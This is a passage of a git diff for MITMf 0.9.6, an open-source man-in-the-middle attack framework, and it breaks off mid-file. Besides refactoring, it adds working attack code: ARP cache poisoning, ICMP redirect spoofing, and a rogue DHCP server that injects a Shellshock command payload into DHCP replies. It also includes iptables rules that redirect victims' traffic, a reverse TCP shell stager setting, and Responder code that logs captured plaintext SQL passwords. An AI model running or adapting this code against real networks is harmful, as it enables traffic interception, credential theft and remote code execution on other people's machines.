core}/sslstrip/ClientRequest.py (99%) rename {libs => core}/sslstrip/CookieCleaner.py (98%) rename {libs => core}/sslstrip/DnsCache.py (97%) rename {libs => core}/sslstrip/README.md (100%) rename {libs => core}/sslstrip/SSLServerConnection.py (100%) rename {libs => core}/sslstrip/ServerConnection.py (98%) rename {libs => core}/sslstrip/ServerConnectionFactory.py (100%) rename {libs => core}/sslstrip/StrippingProxy.py (100%) rename {libs => core}/sslstrip/URLMonitor.py (97%) create mode 100644 core/sslstrip/__init__.py rename libs/banners.py => core/utils.py (82%) create mode 100644 core/wrappers/__init__.py create mode 100644 core/wrappers/nfqueue.py create mode 100644 core/wrappers/protocols.py diff --git a/README.md b/README.md index 8466e2b..d7f7e73 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -MITMf V0.9.5 +MITMf V0.9.6 ============ Framework for Man-In-The-Middle attacks diff --git a/config/mitmf.cfg b/config/mitmf.cfg index 86e3642..fe81a8c 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.cfg @@ -31,7 +31,7 @@ [[DNS]] www.facebook.com = 192.168.10.1 - google.com = 192.168.10.1 + google.com = 192.168.20.61 [Responder] @@ -327,7 +327,7 @@ [[[[WindowsIntelx86]]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND HOST = 192.168.1.16 - PORT = 8443 + PORT = 4444 SHELL = reverse_tcp_stager SUPPLIED_SHELLCODE = None ZERO_CERT = False diff --git a/libs/sergioproxy/__init__.py b/core/__init__.py similarity index 100% rename from libs/sergioproxy/__init__.py rename to core/__init__.py diff --git a/libs/beefapi.py b/core/beefapi.py similarity index 100% rename from libs/beefapi.py rename to core/beefapi.py diff --git a/libs/msfrpc.py b/core/msfrpc.py similarity index 100% rename from libs/msfrpc.py rename to core/msfrpc.py diff --git a/libs/sslstrip/__init__.py b/core/publicsuffix/__init__.py similarity index 100% rename from libs/sslstrip/__init__.py rename to core/publicsuffix/__init__.py diff --git a/libs/publicsuffix.py b/core/publicsuffix/publicsuffix.py similarity index 100% rename from libs/publicsuffix.py rename to core/publicsuffix/publicsuffix.py diff --git a/libs/publicsuffix.txt b/core/publicsuffix/publicsuffix.txt similarity index 100% rename from libs/publicsuffix.txt rename to core/publicsuffix/publicsuffix.txt diff --git a/libs/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py similarity index 97% rename from libs/sergioproxy/ProxyPlugins.py rename to core/sergioproxy/ProxyPlugins.py index 4de9f99..dea21f4 100644 --- a/libs/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2011 Ben Schmidt +# Copyright (c) 2010-2011 Ben Schmidt, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -39,6 +39,13 @@ class ProxyPlugins: ''' _instance = None + @staticmethod + def getInstance(): + if ProxyPlugins._instance == None: + ProxyPlugins._instance = ProxyPlugins() + + return ProxyPlugins._instance + def setPlugins(self,plugins): '''Set the plugins in use''' self.plist = [] @@ -90,11 +97,3 @@ class ProxyPlugins: #pass our changes to the locals back down return args - - def getInstance(): - if ProxyPlugins._instance == None: - ProxyPlugins._instance = ProxyPlugins() - - return ProxyPlugins._instance - - getInstance = staticmethod(getInstance) diff --git a/libs/sergioproxy/README.md b/core/sergioproxy/README.md similarity index 100% rename from libs/sergioproxy/README.md rename to core/sergioproxy/README.md diff --git a/core/sergioproxy/__init__.py b/core/sergioproxy/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/sslstrip/COPYING.sslstrip b/core/sslstrip/COPYING.sslstrip similarity index 100% rename from libs/sslstrip/COPYING.sslstrip rename to core/sslstrip/COPYING.sslstrip diff --git a/libs/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py similarity index 99% rename from libs/sslstrip/ClientRequest.py rename to core/sslstrip/ClientRequest.py index c16db60..08fb452 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -33,7 +33,7 @@ from SSLServerConnection import SSLServerConnection from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -from libs.sergioproxy.ProxyPlugins import ProxyPlugins +from core.sergioproxy.ProxyPlugins import ProxyPlugins from configobj import ConfigObj class ClientRequest(Request): @@ -57,7 +57,7 @@ class ClientRequest(Request): def cleanHeaders(self): headers = self.getAllHeaders().copy() - #for k,v in headers.items(): + #for k,v in headers.iteritems(): # logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) if 'accept-encoding' in headers: diff --git a/libs/sslstrip/CookieCleaner.py b/core/sslstrip/CookieCleaner.py similarity index 98% rename from libs/sslstrip/CookieCleaner.py rename to core/sslstrip/CookieCleaner.py index 997041a..5ba393c 100644 --- a/libs/sslstrip/CookieCleaner.py +++ b/core/sslstrip/CookieCleaner.py @@ -42,18 +42,17 @@ class CookieCleaner: _instance = None + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + @staticmethod def getInstance(): if CookieCleaner._instance == None: CookieCleaner._instance = CookieCleaner() return CookieCleaner._instance - getInstance = staticmethod(getInstance) - - def __init__(self): - self.cleanedCookies = set(); - self.enabled = False - def setEnabled(self, enabled): self.enabled = enabled diff --git a/libs/sslstrip/DnsCache.py b/core/sslstrip/DnsCache.py similarity index 97% rename from libs/sslstrip/DnsCache.py rename to core/sslstrip/DnsCache.py index 906a6e5..6f4e678 100644 --- a/libs/sslstrip/DnsCache.py +++ b/core/sslstrip/DnsCache.py @@ -30,6 +30,13 @@ class DnsCache: self.customAddress = None self.cache = {} + @staticmethod + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + def cacheResolution(self, host, address): self.cache[host] = address @@ -39,12 +46,6 @@ class DnsCache: return None - def getInstance(): - if DnsCache._instance == None: - DnsCache._instance = DnsCache() - - return DnsCache._instance - def setCustomRes(self, host, ip_address=None): if ip_address is not None: self.cache[host] = ip_address @@ -55,5 +56,3 @@ class DnsCache: def setCustomAddress(self, ip_address): self.customAddress = ip_address - - getInstance = staticmethod(getInstance) diff --git a/libs/sslstrip/README.md b/core/sslstrip/README.md similarity index 100% rename from libs/sslstrip/README.md rename to core/sslstrip/README.md diff --git a/libs/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py similarity index 100% rename from libs/sslstrip/SSLServerConnection.py rename to core/sslstrip/SSLServerConnection.py diff --git a/libs/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py similarity index 98% rename from libs/sslstrip/ServerConnection.py rename to core/sslstrip/ServerConnection.py index 8110256..c76e73c 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -26,7 +26,7 @@ except: from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -from libs.sergioproxy.ProxyPlugins import ProxyPlugins +from core.sergioproxy.ProxyPlugins import ProxyPlugins class ServerConnection(HTTPClient): @@ -80,7 +80,7 @@ class ServerConnection(HTTPClient): self.sendCommand(self.command, self.uri) def sendHeaders(self): - for header, value in self.headers.items(): + for header, value in self.headers.iteritems(): logging.debug("Sending header: (%s => %s)" % (header, value)) self.sendHeader(header, value) diff --git a/libs/sslstrip/ServerConnectionFactory.py b/core/sslstrip/ServerConnectionFactory.py similarity index 100% rename from libs/sslstrip/ServerConnectionFactory.py rename to core/sslstrip/ServerConnectionFactory.py diff --git a/libs/sslstrip/StrippingProxy.py b/core/sslstrip/StrippingProxy.py similarity index 100% rename from libs/sslstrip/StrippingProxy.py rename to core/sslstrip/StrippingProxy.py diff --git a/libs/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py similarity index 97% rename from libs/sslstrip/URLMonitor.py rename to core/sslstrip/URLMonitor.py index 969db04..7f53ef0 100644 --- a/libs/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -43,7 +43,14 @@ class URLMonitor: self.redirects = [] self.faviconReplacement = False self.hsts = False - self.hsts_config = None + self.hsts_config = None + + @staticmethod + def getInstance(): + if URLMonitor._instance == None: + URLMonitor._instance = URLMonitor() + + return URLMonitor._instance def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: @@ -127,7 +134,7 @@ class URLMonitor: self.hsts = True self.hsts_config = hstsconfig - for k,v in self.hsts_config.items(): + for k,v in self.hsts_config.iteritems(): self.sustitucion[k] = v self.real[v] = k @@ -154,11 +161,3 @@ class URLMonitor: else: logging.debug("[URLMonitor][HSTS]New host: %s"%host) return (host, False) - - def getInstance(): - if URLMonitor._instance == None: - URLMonitor._instance = URLMonitor() - - return URLMonitor._instance - - getInstance = staticmethod(getInstance) diff --git a/core/sslstrip/__init__.py b/core/sslstrip/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/banners.py b/core/utils.py similarity index 82% rename from libs/banners.py rename to core/utils.py index 323624f..784a98c 100644 --- a/libs/banners.py +++ b/core/utils.py @@ -19,9 +19,34 @@ # USA # +import os import random -banner1 = """ +class SystemConfig: + + @staticmethod + def setIpForwarding(value): + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() + + class iptables: + + @staticmethod + def Flush(): + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + + @staticmethod + def HTTP(http_redir_port): + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) + + @staticmethod + def DNS(queue_number): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number) + +class Banners: + + banner1 = """ __ __ ___ .--. __ __ ___ | |/ `.' `. |__| | |/ `.' `. _.._ | .-. .-. '.--. .| | .-. .-. ' .' .._| @@ -35,7 +60,7 @@ banner1 = """ `'-' |_| """ -banner2= """ + banner2= """ ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ ▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ ▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ @@ -47,7 +72,7 @@ banner2= """ ░ ░ ░ """ -banner3 = """ + banner3 = """ ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ @@ -58,7 +83,7 @@ banner3 = """ ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ """ -banner4 = """ + banner4 = """ ___ ___ ___ /\ \ /\ \ /\__\ |::\ \ ___ ___ |::\ \ /:/ _/_ @@ -72,6 +97,7 @@ banner4 = """ \/__/ \/__/ \/__/ \/__/ \/__/ """ -def get_banner(): - banners = [banner1, banner2, banner3, banner4] - return random.choice(banners) + @property + def printBanner(self): + banners = [self.banner1, self.banner2, self.banner3, self.banner4] + print random.choice(banners) \ No newline at end of file diff --git a/core/wrappers/__init__.py b/core/wrappers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/wrappers/nfqueue.py b/core/wrappers/nfqueue.py new file mode 100644 index 0000000..3eb1cd8 --- /dev/null +++ b/core/wrappers/nfqueue.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import threading + +from netfilterqueue import NetfilterQueue + +class Nfqueue(): + + def __init__(self, queue_number): + self.queue_number = queue_number + self.nfqueue = NetfilterQueue() + + def start(self): + t = threading.Thread(name='nfqueue', target=self.bind, args=()) + t.setDaemon(True) + t.start() + + def bind(self): + self.nfqueue.bind(self.queue_number, self.callback) + self.nfqueue.run() + + def stop(self): + try: + self.nfqueue.unbind() + except: + pass + + def callback(self, payload): + payload.accept() diff --git a/core/wrappers/protocols.py b/core/wrappers/protocols.py new file mode 100644 index 0000000..bc2e338 --- /dev/null +++ b/core/wrappers/protocols.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import threading +import binascii +import random + +from base64 import b64decode +from urllib import unquote +from time import sleep + +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import * + +class _DHCP(): + + def __init__(self, interface, dhcpcfg, ip, mac): + self.interface = interface + self.ip_address = ip + self.mac_address = mac + self.shellshock = None + self.debug = False + self.dhcpcfg = dhcpcfg + self.rand_number = [] + self.dhcp_dic = {} + + def start(self): + t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) + t.setDaemon(True) + t.start() + + def dhcp_sniff(self, interface): + sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) + + def dhcp_rand_ip(self): + pool = self.dhcpcfg['ip_pool'].split('-') + trunc_ip = pool[0].split('.'); del(trunc_ip[3]) + max_range = int(pool[1]) + min_range = int(pool[0].split('.')[3]) + number_range = range(min_range, max_range) + for n in number_range: + if n in self.rand_number: + number_range.remove(n) + rand_number = random.choice(number_range) + self.rand_number.append(rand_number) + rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) + + return rand_ip + + def dhcp_callback(self, resp): + if resp.haslayer(DHCP): + xid = resp[BOOTP].xid + mac_addr = resp[Ether].src + raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + else: + client_ip = self.dhcp_rand_ip() + self.dhcp_dic[xid] = client_ip + + if resp[DHCP].options[0][1] is 1: + logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + logging.info("Sending DHCP OFFER") + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "offer"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240), + "end"])) + + try: + packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) + except KeyError: + pass + + sendp(packet, iface=self.interface, verbose=self.debug) + + if resp[DHCP].options[0][1] is 3: + logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "ack"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240)])) + + try: + packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) + except KeyError: + pass + + if self.shellshock: + logging.info("Sending DHCP ACK with shellshock payload") + packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) + packet[DHCP].options.append("end") + else: + logging.info("Sending DHCP ACK") + packet[DHCP].options.append("end") + + sendp(packet, iface=self.interface, verbose=self.debug) + +class _ARP(): + + def __init__(self, gateway, interface, mac): + + self.gateway = gateway + self.gatewaymac = getmacbyip(gateway) + self.mac = mac + self.target = None + self.targetmac = None + self.interface = interface + self.arpmode = 'req' + self.debug = False + self.send = True + self.arp_inter = 3 + + def start(self): + if self.gatewaymac is None: + sys.exit("[-] Error: Could not resolve gateway's MAC address") + + if self.target: + self.targetmac = getmacbyip(self.target) + if self.targetmac is None: + sys.exit("[-] Error: Could not resolve target's MAC address") + + if self.arpmode == 'req': + pkt = self.build_arp_req() + + elif self.arpmode == 'rep': + pkt = self.build_arp_rep() + + t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,)) + t.setDaemon(True) + t.start() + + def send_arps(self, pkt, interface, debug): + while self.send: + sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug) + + def stop(self): + self.send = False + sleep(3) + self.arp_inter = 1 + + if self.target: + print "\n[*] Re-ARPing target" + self.reARP_target(5) + + print "\n[*] Re-ARPing network" + self.reARP_net(5) + + def build_arp_req(self): + if self.target is None: + pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) + elif self.target: + pkt = Ether(src=self.mac, dst=self.targetmac)/\ + ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target) + + return pkt + + def build_arp_rep(self): + if self.target is None: + pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) + elif self.target: + pkt = Ether(src=self.mac, dst=self.targetmac)/\ + ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2) + + return pkt + + def reARP_net(self, count): + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ + ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2) + + sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) + + def reARP_target(self, count): + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ + ARP(psrc=self.target, hwsrc=self.targetmac, op=2) + + sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) + +class _ICMP(): + + def __init__(self, interface, target, gateway, ip_address): + + self.target = target + self.gateway = gateway + self.interface = interface + self.ip_address = ip_address + self.debug = False + self.send = True + self.icmp_interval = 2 + + def build_icmp(self): + pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\ + IP(src=self.target, dst=self.gateway)/UDP() + + return pkt + + def start(self): + pkt = self.build_icmp() + + t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,)) + t.setDaemon(True) + t.start() + + def stop(self): + self.send = False + sleep(3) + + def send_icmps(self, pkt, interface, debug): + while self.send: + sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index 5e178ff..2b6851f 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -16,13 +16,28 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys,struct,SocketServer,re,socket,thread,Fingerprint,random,os,BaseHTTPServer, select,urlparse,zlib, string, time -from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer +import sys +import struct +import SocketServer +import re +import socket +import thread +import Fingerprint +import random +import os +import BaseHTTPServer +import select +import urlparse +import zlib +import string +import time + +from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict from socket import inet_aton from random import randrange -from libs.sslstrip.DnsCache import DnsCache +from core.sslstrip.DnsCache import DnsCache def IsOsX(): Os_version = sys.platform @@ -1067,7 +1082,7 @@ def ParseClearTextSQLPass(Data,client): PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen]) UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le') if PrintData(outfile,UserName+":"+PwdStr): - logging.warning("MSSQL PlainText Password captured from :",client) + logging.warning("MSSQL PlainText Password captured from :",str(client)) logging.warning("MSSQL Username: %s Password: %s"%(UserName, PwdStr)) WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr) logging.warning('MSSQL PlainText Password captured from :%s'%(client)) @@ -1232,7 +1247,7 @@ class LLMNR(BaseRequestHandler): if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - DnsCache.getInstance().setCustomRes(Name.lower()) + #DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) @@ -1254,7 +1269,7 @@ class LLMNR(BaseRequestHandler): if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - DnsCache.getInstance().setCustomRes(Name.lower()) + #DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) @@ -1277,7 +1292,7 @@ class LLMNR(BaseRequestHandler): if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - DnsCache.getInstance().setCustomRes(Name.lower()) + #DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): @@ -1297,7 +1312,7 @@ class LLMNR(BaseRequestHandler): pass if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - DnsCache.getInstance().setCustomRes(Name.lower()) + #DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): diff --git a/mitmf.py b/mitmf.py index 4bf22f1..f8445d2 100755 --- a/mitmf.py +++ b/mitmf.py @@ -18,27 +18,24 @@ # USA # +import sys +import argparse +import os +import logging + from twisted.web import http from twisted.internet import reactor - -from libs.sslstrip.CookieCleaner import CookieCleaner -from libs.sergioproxy.ProxyPlugins import ProxyPlugins -from libs.banners import get_banner - -import logging +from core.sslstrip.CookieCleaner import CookieCleaner +from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.utils import Banners +from configobj import ConfigObj logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr, get_if_hwaddr -from configobj import ConfigObj - from plugins import * plugin_classes = plugin.Plugin.__subclasses__() -import sys -import argparse -import os - try: import netfilterqueue if netfilterqueue.VERSION[1] is not 6: @@ -52,12 +49,11 @@ try: except ImportError: print "[-] user_agents library missing! User-Agent parsing will be disabled!" -mitmf_version = "0.9.5" +mitmf_version = "0.9.6" sslstrip_version = "0.9" sergio_version = "0.2.1" -banner = get_banner() -print banner +Banners().printBanner parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add MITMf options @@ -66,6 +62,9 @@ mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default=" mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') +#added by alexander.georgiev@daloo.de +mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') + #add sslstrip options sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library") #sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).") @@ -177,8 +176,8 @@ if args.disproxy: ProxyPlugins.getInstance().setPlugins(load) else: - from libs.sslstrip.StrippingProxy import StrippingProxy - from libs.sslstrip.URLMonitor import URLMonitor + from core.sslstrip.StrippingProxy import StrippingProxy + from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(args.favicon) CookieCleaner.getInstance().setEnabled(args.killsessions) diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index a4cbdea..85b239e 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -1,14 +1,35 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + # 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz -from plugins.plugin import Plugin -from datetime import date -from libs.sslstrip.URLMonitor import URLMonitor import logging import re import os.path import time import sys +from plugins.plugin import Plugin +from datetime import date +from core.sslstrip.URLMonitor import URLMonitor + class AppCachePlugin(Plugin): name = "App Cache Poison" optname = "appoison" diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 4edea1b..aa60762 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -1,11 +1,32 @@ -from plugins.plugin import Plugin -from plugins.Inject import Inject -from time import sleep +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging import sys import json import threading -import libs.beefapi as beefapi +import core.beefapi as beefapi + +from plugins.plugin import Plugin +from plugins.Inject import Inject +from time import sleep requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log.setLevel(logging.WARNING) @@ -85,7 +106,7 @@ class BeefAutorun(Inject, Plugin): if len(self.All_modules) > 0: logging.info("%s >> sending generic modules" % session_ip) - for module, options in self.All_modules.items(): + for module, options in self.All_modules.iteritems(): mod_id = beef.module_id(module) resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': @@ -103,7 +124,7 @@ class BeefAutorun(Inject, Plugin): if browser == hook_browser: modules = self.Targeted_modules[os][browser] if len(modules) > 0: - for module, options in modules.items(): + for module, options in modules.iteritems(): mod_id = beef.module_id(module) resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 5372353..3777009 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from plugins.plugin import Plugin from plugins.Inject import Inject from pprint import pformat diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index 6824ee5..8776df8 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from plugins.plugin import Plugin diff --git 